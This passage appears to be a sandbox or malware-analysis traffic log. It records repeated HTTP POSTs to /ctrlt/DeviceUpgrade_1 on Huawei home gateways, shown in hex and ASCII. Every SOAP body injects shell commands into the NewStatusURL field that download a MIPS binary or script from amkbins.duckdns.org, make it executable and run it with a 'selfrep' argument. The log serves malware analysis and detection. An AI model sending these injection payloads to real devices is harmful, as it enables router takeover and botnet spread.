42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 